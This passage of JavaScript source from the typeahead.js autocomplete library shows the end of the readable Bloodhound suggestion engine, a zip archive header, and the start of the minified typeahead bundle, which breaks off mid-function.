                queryTokenizer: null,
                matchAnyQueryToken: false,
                sufficient: 5,
                indexRemote: false,
                sorter: null,
                local: [],
                prefetch: null,
                remote: null
            };
            o = _.mixin(defaults, o || {});
            !o.datumTokenizer && $.error("datumTokenizer is required");
            !o.queryTokenizer && $.error("queryTokenizer is required");
            sorter = o.sorter;
            o.sorter = sorter ? function(x) {
                return x.sort(sorter);
            } : _.identity;
            o.local = _.isFunction(o.local) ? o.local() : o.local;
            o.prefetch = parsePrefetch(o.prefetch);
            o.remote = parseRemote(o.remote);
            return o;
        };
        function parsePrefetch(o) {
            var defaults;
            if (!o) {
                return null;
            }
            defaults = {
                url: null,
                ttl: 24 * 60 * 60 * 1e3,
                cache: true,
                cacheKey: null,
                thumbprint: "",
                prepare: _.identity,
                transform: _.identity,
                transport: null
            };
            o = _.isString(o) ? {
                url: o
            } : o;
            o = _.mixin(defaults, o);
            !o.url && $.error("prefetch requires url to be set");
            o.transform = o.filter || o.transform;
            o.cacheKey = o.cacheKey || o.url;
            o.thumbprint = VERSION + o.thumbprint;
            o.transport = o.transport ? callbackToDeferred(o.transport) : $.ajax;
            return o;
        }
        function parseRemote(o) {
            var defaults;
            if (!o) {
                return;
            }
            defaults = {
                url: null,
                cache: true,
                prepare: null,
                replace: null,
                wildcard: null,
                limiter: null,
                rateLimitBy: "debounce",
                rateLimitWait: 300,
                transform: _.identity,
                transport: null
            };
            o = _.isString(o) ? {
                url: o
            } : o;
            o = _.mixin(defaults, o);
            !o.url && $.error("remote requires url to be set");
            o.transform = o.filter || o.transform;
            o.prepare = toRemotePrepare(o);
            o.limiter = toLimiter(o);
            o.transport = o.transport ? callbackToDeferred(o.transport) : $.ajax;
            delete o.replace;
            delete o.wildcard;
            delete o.rateLimitBy;
            delete o.rateLimitWait;
            return o;
        }
        function toRemotePrepare(o) {
            var prepare, replace, wildcard;
            prepare = o.prepare;
            replace = o.replace;
            wildcard = o.wildcard;
            if (prepare) {
                return prepare;
            }
            if (replace) {
                prepare = prepareByReplace;
            } else if (o.wildcard) {
                prepare = prepareByWildcard;
            } else {
                prepare = idenityPrepare;
            }
            return prepare;
            function prepareByReplace(query, settings) {
                settings.url = replace(settings.url, query);
                return settings;
            }
            function prepareByWildcard(query, settings) {
                settings.url = settings.url.replace(wildcard, encodeURIComponent(query));
                return settings;
            }
            function idenityPrepare(query, settings) {
                return settings;
            }
        }
        function toLimiter(o) {
            var limiter, method, wait;
            limiter = o.limiter;
            method = o.rateLimitBy;
            wait = o.rateLimitWait;
            if (!limiter) {
                limiter = /^throttle$/i.test(method) ? throttle(wait) : debounce(wait);
            }
            return limiter;
            function debounce(wait) {
                return function debounce(fn) {
                    return _.debounce(fn, wait);
                };
            }
            function throttle(wait) {
                return function throttle(fn) {
                    return _.throttle(fn, wait);
                };
            }
        }
        function callbackToDeferred(fn) {
            return function wrapper(o) {
                var deferred = $.Deferred();
                fn(o, onSuccess, onError);
                return deferred;
                function onSuccess(resp) {
                    _.defer(function() {
                        deferred.resolve(resp);
                    });
                }
                function onError(err) {
                    _.defer(function() {
                        deferred.reject(err);
                    });
                }
            };
        }
    }();
    var Bloodhound = function() {
        "use strict";
        var old;
        old = window && window.Bloodhound;
        function Bloodhound(o) {
            o = oParser(o);
            this.sorter = o.sorter;
            this.identify = o.identify;
            this.sufficient = o.sufficient;
            this.indexRemote = o.indexRemote;
            this.local = o.local;
            this.remote = o.remote ? new Remote(o.remote) : null;
            this.prefetch = o.prefetch ? new Prefetch(o.prefetch) : null;
            this.index = new SearchIndex({
                identify: this.identify,
                datumTokenizer: o.datumTokenizer,
                queryTokenizer: o.queryTokenizer
            });
            o.initialize !== false && this.initialize();
        }
        Bloodhound.noConflict = function noConflict() {
            window && (window.Bloodhound = old);
            return Bloodhound;
        };
        Bloodhound.tokenizers = tokenizers;
        _.mixin(Bloodhound.prototype, {
            __ttAdapter: function ttAdapter() {
                var that = this;
                return this.remote ? withAsync : withoutAsync;
                function withAsync(query, sync, async) {
                    return that.search(query, sync, async);
                }
                function withoutAsync(query, sync) {
                    return that.search(query, sync);
                }
            },
            _loadPrefetch: function loadPrefetch() {
                var that = this, deferred, serialized;
                deferred = $.Deferred();
                if (!this.prefetch) {
                    deferred.resolve();
                } else if (serialized = this.prefetch.fromCache()) {
                    this.index.bootstrap(serialized);
                    deferred.resolve();
                } else {
                    this.prefetch.fromNetwork(done);
                }
                return deferred.promise();
                function done(err, data) {
                    if (err) {
                        return deferred.reject();
                    }
                    that.add(data);
                    that.prefetch.store(that.index.serialize());
                    deferred.resolve();
                }
            },
            _initialize: function initialize() {
                var that = this, deferred;
                this.clear();
                (this.initPromise = this._loadPrefetch()).done(addLocalToIndex);
                return this.initPromise;
                function addLocalToIndex() {
                    that.add(that.local);
                }
            },
            initialize: function initialize(force) {
                return !this.initPromise || force ? this._initialize() : this.initPromise;
            },
            add: function add(data) {
                this.index.add(data);
                return this;
            },
            get: function get(ids) {
                ids = _.isArray(ids) ? ids : [].slice.call(arguments);
                return this.index.get(ids);
            },
            search: function search(query, sync, async) {
                var that = this, local;
                sync = sync || _.noop;
                async = async || _.noop;
                local = this.sorter(this.index.search(query));
                sync(this.remote ? local.slice() : local);
                if (this.remote && local.length < this.sufficient) {
                    this.remote.get(query, processRemote);
                } else if (this.remote) {
                    this.remote.cancelLastRequest();
                }
                return this;
                function processRemote(remote) {
                    var nonDuplicates = [];
                    _.each(remote, function(r) {
                        !_.some(local, function(l) {
                            return that.identify(r) === that.identify(l);
                        }) && nonDuplicates.push(r);
                    });
                    that.indexRemote && that.add(nonDuplicates);
                    async(nonDuplicates);
                }
            },
            all: function all() {
                return this.index.all();
            },
            clear: function clear() {
                this.index.reset();
                return this;
            },
            clearPrefetchCache: function clearPrefetchCache() {
                this.prefetch && this.prefetch.clear();
                return this;
            },
            clearRemoteCache: function clearRemoteCache() {
                Transport.resetCache();
                return this;
            },
            ttAdapter: function ttAdapter() {
                return this.__ttAdapter();
            }
        });
        return Bloodhound;
    }();
    return Bloodhound;
});PK!Ot-Rڭڭ+plugin/typeahead.js/typeahead.bundle.min.jsnu&1i�/*!
 * typeahead.js 1.1.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2017 Twitter, Inc. and other contributors; Licensed MIT
 */

!function(a,b){"function"==typeof define&&define.amd?define(["jquery"],function(c){return a.Bloodhound=b(c)}):"object"==typeof exports?module.exports=b(require("jquery")):a.Bloodhound=b(a.jQuery)}(this,function(a){var b=function(){"use strict";return{isMsie:function(){return!!/(msie|trident)/i.test(navigator.userAgent)&&navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2]},isBlankString:function(a){return!a||/^\s*$/.test(a)},escapeRegExChars:function(a){return a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},isString:function(a){return"string"==typeof a},isNumber:function(a){return"number"==typeof a},isArray:a.isArray,isFunction:a.isFunction,isObject:a.isPlainObject,isUndefined:function(a){return"undefined"==typeof a},isElement:function(a){return!(!a||1!==a.nodeType)},isJQuery:function(b){return b instanceof a},toStr:function(a){return b.isUndefined(a)||null===a?"":a+""},bind:a.proxy,each:function(b,c){function d(a,b){return c(b,a)}a.each(b,d)},map:a.map,filter:a.grep,every:function(b,c){var d=!0;return b?(a.each(b,function(a,e){if(!(d=c.call(null,e,a,b)))return!1}),!!d):d},some:function(b,c){var d=!1;return b?(a.each(b,function(a,e){if(d=c.call(null,e,a,b))return!1}),!!d):d},mixin:a.extend,identity:function(a){return a},clone:function(b){return a.extend(!0,{},b)},getIdGenerator:function(){var a=0;return function(){return a++}},templatify:function(b){function c(){return String(b)}return a.isFunction(b)?b:c},defer:function(a){setTimeout(a,0)},debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},throttle:function(a,b){var c,d,e,f,g,h;return g=0,h=function(){g=new Date,e=null,f=a.apply(c,d)},function(){var i=new Date,j=b-(i-g);return c=this,d=arguments,j<=0?(clearTimeout(e),e=null,g=i,f=a.apply(c,d)):e||(e=setTimeout(h,j)),f}},stringify:function(a){return b.isString(a)?a:JSON.stringify(a)},guid:function(){function a(a){var b=(Math.random().toString(16)+"000000000").substr(2,8);return a?"-"+b.substr(0,4)+"-"+b.substr(4,4):b}return"tt-"+a()+a(!0)+a(!0)+a()},noop:function(){}}}(),c="1.1.1",d=function(){"use strict";function a(a){return a=b.toStr(a),a?a.split(/\s+/):[]}function c(a){return a=b.toStr(a),a?a.split(/\W+/):[]}function d(a){a=b.toStr(a);var c=[],d="";return b.each(a.split(""),function(a){a.match(/\s+/)?d="":(c.push(d+a),d+=a)}),c}function e(a){return function(c){return c=b.isArray(c)?c:[].slice.call(arguments,0),function(d){var e=[];return b.each(c,function(c){e=e.concat(a(b.toStr(d[c])))}),e}}}return{nonword:c,whitespace:a,ngram:d,obj:{nonword:e(c),whitespace:e(a),ngram:e(d)}}}(),e=function(){"use strict";function c(c){this.maxSize=b.isNumber(c)?c:100,this.reset(),this.maxSize<=0&&(this.set=this.get=a.noop)}function d(){this.head=this.tail=null}function e(a,b){this.key=a,this.val=b,this.prev=this.next=null}return b.mixin(c.prototype,{set:function(a,b){var c,d=this.list.tail;this.size>=this.maxSize&&(this.list.remove(d),delete this.hash[d.key],this.size--),(c=this.hash[a])?(c.val=b,this.list.moveToFront(c)):(c=new e(a,b),this.list.add(c),this.hash[a]=c,this.size++)},get:function(a){var b=this.hash[a];if(b)return this.list.moveToFront(b),b.val},reset:function(){this.size=0,this.hash={},this.list=new d}}),b.mixin(d.prototype,{add:function(a){this.head&&(a.next=this.head,this.head.prev=a),this.head=a,this.tail=this.tail||a},remove:function(a){a.prev?a.prev.next=a.next:this.head=a.next,a.next?a.next.prev=a.prev:this.tail=a.prev},moveToFront:function(a){this.remove(a),this.add(a)}}),c}(),f=function(){"use strict";function c(a,c){this.prefix=["__",a,"__"].join(""),this.ttlKey="__ttl__",this.keyMatcher=new RegExp("^"+b.escapeRegExChars(this.prefix)),this.ls=c||h,!this.ls&&this._noop()}function d(){return(new Date).getTime()}function e(a){return JSON.stringify(b.isUndefined(a)?null:a)}function f(b){return a.parseJSON(b)}function g(a){var b,c,d=[],e=h.length;for(b=0;b<e;b++)(c=h.key(b)).match(a)&&d.push(c.replace(a,""));return d}var h;try{h=window.localStorage,h.setItem("~~~","!"),h.removeItem("~~~")}catch(a){h=null}return b.mixin(c.prototype,{_prefix:function(a){return this.prefix+a},_ttlKey:function(a){return this._prefix(a)+this.ttlKey},_noop:function(){this.get=this.set=this.remove=this.clear=this.isExpired=b.noop},_safeSet:function(a,b){try{this.ls.setItem(a,b)}catch(a){"QuotaExceededError"===a.name&&(this.clear(),this._noop())}},get:function(a){return this.isExpired(a)&&this.remove(a),f(this.ls.getItem(this._prefix(a)))},set:function(a,c,f){return b.isNumber(f)?this._safeSet(this._ttlKey(a),e(d()+f)):this.ls.removeItem(this._ttlKey(a)),this._safeSet(this._prefix(a),e(c))},remove:function(a){return this.ls.removeItem(this._ttlKey(a)),this.ls.removeItem(this._prefix(a)),this},clear:function(){var a,b=g(this.keyMatcher);for(a=b.length;a--;)this.remove(b[a]);return this},isExpired:function(a){var c=f(this.ls.getItem(this._ttlKey(a)));return!!(b.isNumber(c)&&d()>c)}}),c}(),g=function(){"use strict";function c(a){a=a||{},this.maxPendingRequests=a.maxPendingRequests||6,this.cancelled=!1,this.lastReq=null,this._send=a.transport,this._get=a.limiter?a.limiter(this._get):this._get,this._cache=a.cache===!1?new e(0):g}var d=0,f={},g=new e(10);return c.setMaxPendingRequests=function(a){this.maxPendingRequests=a},c.resetCache=function(){g.reset()},b.mixin(c.prototype,{_fingerprint:function(b){return b=b||{},b.url+b.type+a.param(b.data||{})},_get:function(a,b){function c(a){b(null,a),j._cache.set(h,a)}function e(){b(!0)}function g(){d--,delete f[h],j.onDeckRequestArgs&&(j._get.apply(j,j.onDeckRequestArgs),j.onDeckRequestArgs=null)}var h,i,j=this;h=this._fingerprint(a),this.cancelled||h!==this.lastReq||((i=f[h])?i.done(c).fail(e):d<this.maxPendingRequests?(d++,f[h]=this._send(a).done(c).fail(e).always(g)):this.onDeckRequestArgs=[].slice.call(arguments,0))},get:function(c,d){var e,f;d=d||a.noop,c=b.isString(c)?{url:c}:c||{},f=this._fingerprint(c),this.cancelled=!1,this.lastReq=f,(e=this._cache.get(f))?d(null,e):this._get(c,d)},cancel:function(){this.cancelled=!0}}),c}(),h=window.SearchIndex=function(){"use strict";function c(c){c=c||{},c.datumTokenizer&&c.queryTokenizer||a.error("datumTokenizer and queryTokenizer are both required"),this.identify=c.identify||b.stringify,this.datumTokenizer=c.datumTokenizer,this.queryTokenizer=c.queryTokenizer,this.matchAnyQueryToken=c.matchAnyQueryToken,this.reset()}function d(a){return a=b.filter(a,function(a){return!!a}),a=b.map(a,function(a){return a.toLowerCase()})}function e(){var a={};return a[i]=[],a[h]={},a}function f(a){for(var b={},c=[],d=0,e=a.length;d<e;d++)b[a[d]]||(b[a[d]]=!0,c.push(a[d]));return c}function g(a,b){var c=0,d=0,e=[];a=a.sort(),b=b.sort();for(var f=a.length,g=b.length;c<f&&d<g;)a[c]<b[d]?c++:a[c]>b[d]?d++:(e.push(a[c]),c++,d++);return e}var h="c",i="i";return b.mixin(c.prototype,{bootstrap:function(a){this.datums=a.datums,this.trie=a.trie},add:function(a){var c=this;a=b.isArray(a)?a:[a],b.each(a,function(a){var f,g;c.datums[f=c.identify(a)]=a,g=d(c.datumTokenizer(a)),b.each(g,function(a){var b,d,g;for(b=c.trie,d=a.split("");g=d.shift();)b=b[h][g]||(b[h][g]=e()),b[i].push(f)})})},get:function(a){var c=this;return b.map(a,function(a){return c.datums[a]})},search:function(a){var c,e,j=this;return c=d(this.queryTokenizer(a)),b.each(c,function(a){var b,c,d,f;if(e&&0===e.length&&!j.matchAnyQueryToken)return!1;for(b=j.trie,c=a.split("");b&&(d=c.shift());)b=b[h][d];if(b&&0===c.length)f=b[i].slice(0),e=e?g(e,f):f;else if(!j.matchAnyQueryToken)return e=[],!1}),e?b.map(f(e),function(a){return j.datums[a]}):[]},all:function(){var a=[];for(var b in this.datums)a.push(this.datums[b]);return a},reset:function(){this.datums={},this.trie=e()},serialize:function(){return{datums:this.datums,trie:this.trie}}}),c}(),i=function(){"use strict";function a(a){this.url=a.url,this.ttl=a.ttl,this.cache=a.cache,this.prepare=a.prepare,this.transform=a.transform,this.transport=a.transport,this.thumbprint=a.thumbprint,this.storage=new f(a.cacheKey)}var c;return c={data:"data",protocol:"protocol",thumbprint:"thumbprint"},b.mixin(a.prototype,{_settings:function(){return{url:this.url,type:"GET",dataType:"json"}},store:function(a){this.cache&&(this.storage.set(c.data,a,this.ttl),this.storage.set(c.protocol,location.protocol,this.ttl),this.storage.set(c.thumbprint,this.thumbprint,this.ttl))},fromCache:function(){var a,b={};return this.cache?(b.data=this.storage.get(c.data),b.protocol=this.storage.get(c.protocol),b.thumbprint=this.storage.get(c.thumbprint),a=b.thumbprint!==this.thumbprint||b.protocol!==location.protocol,b.data&&!a?b.data:null):null},fromNetwork:function(a){function b(){a(!0)}function c(b){a(null,e.transform(b))}var d,e=this;a&&(d=this.prepare(this._settings()),this.transport(d).fail(b).done(c))},clear:function(){return this.storage.clear(),this}}),a}(),j=function(){"use strict";function a(a){this.url=a.url,this.prepare=a.prepare,this.transform=a.transform,this.indexResponse=a.indexResponse,this.transport=new g({cache:a.cache,limiter:a.limiter,transport:a.transport,maxPendingRequests:a.maxPendingRequests})}return b.mixin(a.prototype,{_settings:function(){return{url:this.url,type:"GET",dataType:"json"}},get:function(a,b){function c(a,c){b(a?[]:e.transform(c))}var d,e=this;if(b)return a=a||"",d=this.prepare(a,this._settings()),this.transport.get(d,c)},cancelLastRequest:function(){this.transport.cancel()}}),a}(),k=function(){"use strict";function d(d){var e;return d?(e={url:null,ttl:864e5,cache:!0,cacheKey:null,thumbprint:"",prepare:b.identity,transform:b.identity,transport:null},d=b.isString(d)?{url:d}:d,d=b.mixin(e,d),!d.url&&a.error("prefetch requires url to be set"),d.transform=d.filter||d.transform,d.cacheKey=d.cacheKey||d.url,d.thumbprint=c+d.thumbprint,d.transport=d.transport?h(d.transport):a.ajax,d):null}function e(c){var d;if(c)return d={url:null,cache:!0,prepare:null,replace:null,wildcard:null,limiter:null,rateLimitBy:"debounce",rateLimitWait:300,transform:b.identity,transport:null},c=b.isString(c)?{url:c}:c,c=b.mixin(d,c),!c.url&&a.error("remote requires url to be set"),c.transform=c.filter||c.transform,c.prepare=f(c),c.limiter=g(c),c.transport=c.transport?h(c.transport):a.ajax,delete c.replace,delete c.wildcard,delete c.rateLimitBy,delete c.rateLimitWait,c}function f(a){function b(a,b){return b.url=f(b.url,a),b}function c(a,b){return b.url=b.url.replace(g,encodeURIComponent(a)),b}function d(a,b){return b}var e,f,g;return e=a.prepare,f=a.replace,g=a.wildcard,e?e:e=f?b:a.wildcard?c:d}function g(a){function c(a){return function(c){return b.debounce(c,a)}}function d(a){return function(c){return b.throttle(c,a)}}var e,f,g;return e=a.limiter,f=a.rateLimitBy,g=a.rateLimitWait,e||(e=/^throttle$/i.test(f)?d(g):c(g)),e}function h(c){return function(d){function e(a){b.defer(function(){g.resolve(a)})}function f(a){b.defer(function(){g.reject(a)})}var g=a.Deferred();return c(d,e,f),g}}return function(c){var f,g;return f={initialize:!0,identify:b.stringify,datumTokenizer:null,queryTokenizer:null,matchAnyQueryToken:!1,sufficient:5,indexRemote:!1,sorter:null,local:[],prefetch:null,remote:null},c=b.mixin(f,c||{}),!c.datumTokenizer&&a.error("datumTokenizer is required"),!c.queryTokenizer&&a.error("queryTokenizer is required"),g=c.sorter,c.sorter=g?function(a){return a.sort(g)}:b.identity,c.local=b.isFunction(c.local)?c.local():c.local,c.prefetch=d(c.prefetch),c.remote=e(c.remote),c}}(),l=function(){"use strict";function c(a){a=k(a),this.sorter=a.sorter,this.identify=a.identify,this.sufficient=a.sufficient,this.indexRemote=a.indexRemote,this.local=a.local,this.remote=a.remote?new j(a.remote):null,this.prefetch=a.prefetch?new i(a.prefetch):null,this.index=new h({identify:this.identify,datumTokenizer:a.datumTokenizer,queryTokenizer:a.queryTokenizer}),a.initialize!==!1&&this.initialize()}var e;return e=window&&window.Bloodhound,c.noConflict=function(){return window&&(window.Bloodhound=e),c},c.tokenizers=d,b.mixin(c.prototype,{__ttAdapter:function(){function a(a,b,d){return c.search(a,b,d)}function b(a,b){return c.search(a,b)}var c=this;return this.remote?a:b},_loadPrefetch:function(){function b(a,b){return a?c.reject():(e.add(b),e.prefetch.store(e.index.serialize()),void c.resolve())}var c,d,e=this;return c=a.Deferred(),this.prefetch?(d=this.prefetch.fromCache())?(this.index.bootstrap(d),c.resolve()):this.prefetch.fromNetwork(b):c.resolve(),c.promise()},_initialize:function(){function a(){b.add(b.local)}var b=this;return this.clear(),(this.initPromise=this._loadPrefetch()).done(a),this.initPromise},initialize:function(a){return!this.initPromise||a?this._initialize():this.initPromise},add:function(a){return this.index.add(a),this},get:function(a){return a=b.isArray(a)?a:[].slice.call(arguments),this.index.get(a)},search:function(a,c,d){function e(a){var c=[];b.each(a,function(a){!b.some(f,function(b){return g.identify(a)===g.identify(b)})&&c.push(a)}),g.indexRemote&&g.add(c),d(c)}var f,g=this;return c=c||b.noop,d=d||b.noop,f=this.sorter(this.index.search(a)),c(this.remote?f.slice():f),this.remote&&f.length<this.sufficient?this.remote.get(a,e):this.remote&&this.remote.cancelLastRequest(),this},all:function(){return this.index.all()},clear:function(){return this.index.reset(),this},clearPrefetchCache:function(){return this.prefetch&&this.prefetch.clear(),this},clearRemoteCache:function(){return g.resetCache(),this},ttAdapter:function(){return this.__ttAdapter()}}),c}();return l}),function(a,b){"function"==typeof define&&define.amd?define(["jquery"],function(a){return b(a)}):"object"==typeof exports?module.exports=b(require("jquery")):b(a.jQuery)}(this,function(a){var b=function(){"use strict";return{isMsie:function(){return!!/(msie|trident)/i.test(navigator.userAgent)&&navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2]},isBlankString:function(a){return!a||/^\s*$/.test(a)},escapeRegExChars:function(a){return a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},isString:function(a){return"string"==typeof a},isNumber:function(a){return"number"==typeof a},isArray:a.isArray,isFunction:a.isFunction,isObject:a.isPlainObject,isUndefined:function(a){return"undefined"==typeof a},isElement:function(a){return!(!a||1!==a.nodeType)},isJQuery:function(b){return b instanceof a},toStr:function(a){return b.isUndefined(a)||null===a?"":a+""},bind:a.proxy,each:function(b,c){function d(a,b){return c(b,a)}a.each(b,d)},map:a.map,filter:a.grep,every:function(b,c){var d=!0;return b?(a.each(b,function(a,e){if(!(d=c.call(null,e,a,b)))return!1}),!!d):d},some:function(b,c){var d=!1;return b?(a.each(b,function(a,e){if(d=c.call(null,e,a,b))return!1}),!!d):d},mixin:a.extend,identity:function(a){return a},clone:function(b){return a.extend(!0,{},b)},getIdGenerator:function(){var a=0;return function(){return a++}},templatify:function(b){function c(){return String(b)}return a.isFunction(b)?b:c},defer:function(a){setTimeout(a,0)},debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},throttle:function(a,b){var c,d,e,f,g,h;return g=0,h=function(){g=new Date,e=null,f=a.apply(c,d)},function(){var i=new Date,j=b-(i-g);return c=this,d=arguments,j<=0?(clearTimeout(e),e=null,g=i,f=a.apply(c,d)):e||(e=setTimeout(h,j)),f}},stringify:function(a){return b.isString(a)?a:JSON.stringify(a)},guid:function(){function a(a){var b=(Math.random().toString(16)+"000000000").substr(2,8);return a?"-"+b.substr(0,4)+"-"+b.substr(4,4):b}return"tt-"+a()+a(!0)+a(!0)+a()},noop:function(){}}}(),c=function(){"use strict";function a(a){var g,h;return h=b.mixin({},f,a),g={css:e(),classes:h,html:c(h),selectors:d(h)},{css:g.css,html:g.html,classes:g.classes,selectors:g.selectors,mixin:function(a){b.mixin(a,g)}}}function c(a){return{wrapper:'<span class="'+a.wrapper+'"></span>',menu:'<div role="listbox" class="'+a.menu+'"></div>'}}function d(a){var c={};return b.each(a,function(a,b){c[b]="."+a}),c}function e(){var a={wrapper:{position:"relative",display:"inline-block"},hint:{position:"absolute",top:"0",left:"0",borderColor:"transparent",boxShadow:"none",opacity:"1"},input:{position:"relative",verticalAlign:"top",backgroundColor:"transparent"},inputWithNoHint:{position:"relative",verticalAlign:"top"},menu:{position:"absolute",top:"100%",left:"0",zIndex:"100",display:"none"},ltr:{left:"0",right:"auto"},rtl:{left:"auto",right:" 0"}};return b.isMsie()&&b.mixin(a.input,{backgroundImage:"url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"}),a}var f={wrapper:"twitter-typeahead",input:"tt-input",hint:"tt-hint",menu:"tt-menu",dataset:"tt-dataset",suggestion:"tt-suggestion",selectable:"tt-selectable",empty:"tt-empty",open:"tt-open",cursor:"tt-cursor",highlight:"tt-highlight"};return a}(),d=function(){"use strict";function c(b){b&&b.el||a.error("EventBus initialized without el"),this.$el=a(b.el)}var d,e;return d="typeahead:",e={render:"rendered",cursorchange:"cursorchanged",select:"selected",autocomplete:"autocompleted"},b.mixin(c.prototype,{_trigger:function(b,c){var e=a.Event(d+b);return this.$el.trigger.call(this.$el,e,c||[]),e},before:function(a){var b,c;return b=[].slice.call(arguments,1),c=this._trigger("before"+a,b),c.isDefaultPrevented()},trigger:function(a){var b;this._trigger(a,[].slice.call(arguments,1)),(b=e[a])&&this._trigger(b,[].slice.call(arguments,1))}}),c}(),e=function(){"use strict";function a(a,b,c,d){var e;if(!c)return this;for(b=b.split(i),c=d?h(c,d):c,this._callbacks=this._callbacks||{};e=b.shift();)this._callbacks[e]=this._callbacks[e]||{sync:[],async:[]},this._callbacks[e][a].push(c);return this}function b(b,c,d){return a.call(this,"async",b,c,d)}function c(b,c,d){return a.call(this,"sync",b,c,d)}function d(a){var b;if(!this._callbacks)return this;for(a=a.split(i);b=a.shift();)delete this._callbacks[b];return this}function e(a){var b,c,d,e,g;if(!this._callbacks)return this;for(a=a.split(i),d=[].slice.call(arguments,1);(b=a.shift())&&(c=this._callbacks[b]);)e=f(c.sync,this,[b].concat(d)),g=f(c.async,this,[b].concat(d)),e()&&j(g);return this}function f(a,b,c){function d(){for(var d,e=0,f=a.length;!d&&e<f;e+=1)d=a[e].apply(b,c)===!1;return!d}return d}function g(){var a;return a=window.setImmediate?function(a){setImmediate(function(){a()})}:function(a){setTimeout(function(){a()},0)}}function h(a,b){return a.bind?a.bind(b):function(){a.apply(b,[].slice.call(arguments,0))}}var i=/\s+/,j=g();return{onSync:c,onAsync:b,off:d,trigger:e}}(),f=function(a){"use strict";function c(a){return f[a.toUpperCase()]||a}function d(a,d,e,f){for(var g,h=[],i=0,j=a.length;i<j;i++){var k=b.escapeRegExChars(a[i]);f&&(k=k.replace(/\S/g,c)),h.push(k)}return g=e?"\\b("+h.join("|")+")\\b":"("+h.join("|")+")",d?new RegExp(g):new RegExp(g,"i")}var e={node:null,pattern:null,tagName:"strong",className:null,wordsOnly:!1,caseSensitive:!1,diacriticInsensitive:!1},f={A:"[AaªÀ-Åà-åĀ-ąǍǎȀ-ȃȦȧᴬᵃḀḁẚẠ-ảₐ℀℁℻⒜Ⓐⓐ㍱-㍴㎀-㎄㎈㎉㎩-㎯㏂㏊㏟㏿Aa]",B:"[BbᴮᵇḂ-ḇℬ⒝Ⓑⓑ㍴㎅-㎇㏃㏈㏔㏝Bb]",C:"[CcÇçĆ-čᶜ℀ℂ℃℅℆ℭⅭⅽ⒞Ⓒⓒ㍶㎈㎉㎝㎠㎤㏄-㏇Cc]",D:"[DdĎďDŽ-džDZ-dzᴰᵈḊ-ḓⅅⅆⅮⅾ⒟Ⓓⓓ㋏㍲㍷-㍹㎗㎭-㎯㏅㏈Dd]",E:"[EeÈ-Ëè-ëĒ-ěȄ-ȇȨȩᴱᵉḘ-ḛẸ-ẽₑ℡ℯℰⅇ⒠Ⓔⓔ㉐㋍㋎Ee]",F:"[FfᶠḞḟ℉ℱ℻⒡Ⓕⓕ㎊-㎌㎙ff-fflFf]",G:"[GgĜ-ģǦǧǴǵᴳᵍḠḡℊ⒢Ⓖⓖ㋌㋍㎇㎍-㎏㎓㎬㏆㏉㏒㏿Gg]",H:"[HhĤĥȞȟʰᴴḢ-ḫẖℋ-ℎ⒣Ⓗⓗ㋌㍱㎐-㎔㏊㏋㏗Hh]",I:"[IiÌ-Ïì-ïĨ-İIJijǏǐȈ-ȋᴵᵢḬḭỈ-ịⁱℐℑℹⅈⅠ-ⅣⅥ-ⅨⅪⅫⅰ-ⅳⅵ-ⅸⅺⅻ⒤Ⓘⓘ㍺㏌㏕fiffiIi]",J:"[JjIJ-ĵLJ-njǰʲᴶⅉ⒥ⒿⓙⱼJj]",K:"[KkĶķǨǩᴷᵏḰ-ḵK⒦Ⓚⓚ㎄㎅㎉㎏㎑㎘㎞㎢㎦㎪㎸㎾㏀㏆㏍-㏏Kk]",L:"[LlĹ-ŀLJ-ljˡᴸḶḷḺ-ḽℒℓ℡Ⅼⅼ⒧Ⓛⓛ㋏㎈㎉㏐-㏓㏕㏖㏿flfflLl]",M:"[MmᴹᵐḾ-ṃ℠™ℳⅯⅿ⒨Ⓜⓜ㍷-㍹㎃㎆㎎㎒㎖㎙-㎨㎫㎳㎷㎹㎽㎿㏁㏂㏎㏐㏔-㏖㏘㏙㏞㏟Mm]",N:"[NnÑñŃ-ʼnNJ-njǸǹᴺṄ-ṋⁿℕ№⒩Ⓝⓝ㎁㎋㎚㎱㎵㎻㏌㏑Nn]",O:"[OoºÒ-Öò-öŌ-őƠơǑǒǪǫȌ-ȏȮȯᴼᵒỌ-ỏₒ℅№ℴ⒪Ⓞⓞ㍵㏇㏒㏖Oo]",P:"[PpᴾᵖṔ-ṗℙ⒫Ⓟⓟ㉐㍱㍶㎀㎊㎩-㎬㎰㎴㎺㏋㏗-㏚Pp]",Q:"[Qqℚ⒬Ⓠⓠ㏃Qq]",R:"[RrŔ-řȐ-ȓʳᴿᵣṘ-ṛṞṟ₨ℛ-ℝ⒭Ⓡⓡ㋍㍴㎭-㎯㏚㏛Rr]",S:"[SsŚ-šſȘșˢṠ-ṣ₨℁℠⒮Ⓢⓢ㎧㎨㎮-㎳㏛㏜stSs]",T:"[TtŢ-ťȚțᵀᵗṪ-ṱẗ℡™⒯Ⓣⓣ㉐㋏㎔㏏ſtstTt]",U:"[UuÙ-Üù-üŨ-ųƯưǓǔȔ-ȗᵁᵘᵤṲ-ṷỤ-ủ℆⒰Ⓤⓤ㍳㍺Uu]",V:"[VvᵛᵥṼ-ṿⅣ-Ⅷⅳ-ⅷ⒱Ⓥⓥⱽ㋎㍵㎴-㎹㏜㏞Vv]",W:"[WwŴŵʷᵂẀ-ẉẘ⒲Ⓦⓦ㎺-㎿㏝Ww]",X:"[XxˣẊ-ẍₓ℻Ⅸ-Ⅻⅸ-ⅻ⒳Ⓧⓧ㏓Xx]",Y:"[YyÝýÿŶ-ŸȲȳʸẎẏẙỲ-ỹ⒴Ⓨⓨ㏉Yy]",Z:"[ZzŹ-žDZ-dzᶻẐ-ẕℤℨ⒵Ⓩⓩ㎐-㎔Zz]"};return function(c){function f(b){var 